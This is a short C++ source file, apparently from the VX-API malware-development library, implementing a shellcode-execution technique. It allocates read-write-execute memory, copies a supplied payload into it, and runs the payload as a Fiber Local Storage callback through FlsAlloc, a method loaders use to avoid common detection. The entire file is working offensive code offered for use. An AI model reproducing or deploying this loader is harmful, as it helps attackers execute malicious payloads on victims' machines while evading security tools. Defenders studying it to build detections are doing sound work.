vxug-VXAPI/VX-API/MpfSceViaFlsAlloc.cpp

28 lines
685 B
C++

#include "Win32Helper.h"
VOID InvokeFlsAllocCallbackRoutine(LPVOID lpParameter)
{
DWORD dwIndex = ERROR_SUCCESS;
dwIndex = FlsAlloc((PFLS_CALLBACK_FUNCTION)lpParameter);
if (dwIndex == FLS_OUT_OF_INDEXES)
return;
FlsSetValue(dwIndex, (PVOID)"Data");
}
BOOL MpfSceViaFlsAlloc(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes)
{
LPVOID BinAddress = NULL;
BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (BinAddress == NULL)
return FALSE;
CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes);
CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeFlsAllocCallbackRoutine, BinAddress, INFINITE);
return TRUE;
}